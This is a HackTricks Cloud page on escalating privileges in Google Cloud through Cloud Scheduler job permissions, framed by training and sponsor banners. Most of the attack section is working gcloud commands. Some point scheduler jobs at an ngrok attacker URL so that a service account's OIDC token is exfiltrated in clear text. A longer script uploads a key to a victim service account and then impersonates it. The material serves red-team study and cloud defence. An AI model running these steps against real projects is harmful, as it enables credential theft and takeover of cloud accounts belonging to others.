mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 07:29:04 -08:00
152 lines
8.1 KiB
Markdown
152 lines
8.1 KiB
Markdown
# GCP - Cloud Scheduler Privesc
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Cloud Scheduler
|
|
|
|
More information in:
|
|
|
|
{% content-ref url="../gcp-services/gcp-cloud-scheduler-enum.md" %}
|
|
[gcp-cloud-scheduler-enum.md](../gcp-services/gcp-cloud-scheduler-enum.md)
|
|
{% endcontent-ref %}
|
|
|
|
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
|
|
|
An attacker with these permissions could exploit **Cloud Scheduler** to **authenticate cron jobs as a specific Service Account**. By crafting an HTTP POST request, the attacker schedules actions, like creating a Storage bucket, to execute under the Service Account's identity. This method leverages the **Scheduler's ability to target `*.googleapis.com` endpoints and authenticate requests**, allowing the attacker to manipulate Google API endpoints directly using a simple `gcloud` command.
|
|
|
|
* **Contact any google API via`googleapis.com` with OAuth token header**
|
|
|
|
Create a new Storage bucket:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
|
|
```
|
|
{% endcode %}
|
|
|
|
To escalate privileges, an **attacker merely crafts an HTTP request targeting the desired API, impersonating the specified Service Account**
|
|
|
|
* **Exfiltrate OIDC service account token**
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
|
|
|
# Listen in the ngrok address to get the OIDC token in clear text.
|
|
```
|
|
{% endcode %}
|
|
|
|
If you need to check the HTTP response you might just t**ake a look at the logs of the execution**.
|
|
|
|
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
|
|
|
Like in the previous scenario it's possible to **update an already created scheduler** to steal the token or perform actions. For example:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
|
|
|
# Listen in the ngrok address to get the OIDC token in clear text.
|
|
```
|
|
{% endcode %}
|
|
|
|
Another example to upload a private key to a SA and impersonate it:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Generate local private key
|
|
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
|
|
-keyout /tmp/private_key.pem \
|
|
-out /tmp/public_key.pem \
|
|
-subj "/CN=unused"
|
|
|
|
# Remove last new line character of the public key
|
|
file_size=$(wc -c < /tmp/public_key.pem)
|
|
new_size=$((file_size - 1))
|
|
truncate -s $new_size /tmp/public_key.pem
|
|
|
|
# Update scheduler to upload the key to a SA
|
|
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
|
|
gcloud scheduler jobs update http scheduler_lab_1 \
|
|
--schedule='* * * * *' \
|
|
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
|
|
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
|
|
--update-headers "Content-Type=application/json" \
|
|
--location us-central1 \
|
|
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com
|
|
|
|
# Wait 1 min
|
|
sleep 60
|
|
|
|
# Check the logs to check it worked
|
|
gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
|
|
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project <project-id> --format=json
|
|
|
|
## If any '"status": 200' it means it worked!
|
|
## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400
|
|
|
|
# Build the json to contact the SA
|
|
## Get privatekey in json format
|
|
file_content=$(<"/tmp/private_key.pem")
|
|
private_key_json=$(jq -Rn --arg str "$file_content" '$str')
|
|
|
|
## Get ID of the generated key
|
|
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com
|
|
|
|
# Create the json in a file
|
|
## NOTE that you need to export your project-id in the env var PROJECT_ID
|
|
## and that this script is expecting the key ID to be the first one (check the `head`)
|
|
export PROJECT_ID=...
|
|
cat > /tmp/lab.json <<EOF
|
|
{
|
|
"type": "service_account",
|
|
"project_id": "$PROJECT_ID",
|
|
"private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
|
|
"private_key": $private_key_json,
|
|
"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
|
|
"client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
|
|
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
|
|
"token_uri": "https://oauth2.googleapis.com/token",
|
|
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
|
|
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
|
|
"universe_domain": "googleapis.com"
|
|
}
|
|
EOF
|
|
|
|
# Activate the generated key
|
|
gcloud auth activate-service-account --key-file=/tmp/lab.json
|
|
```
|
|
{% endcode %}
|
|
|
|
## References
|
|
|
|
* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|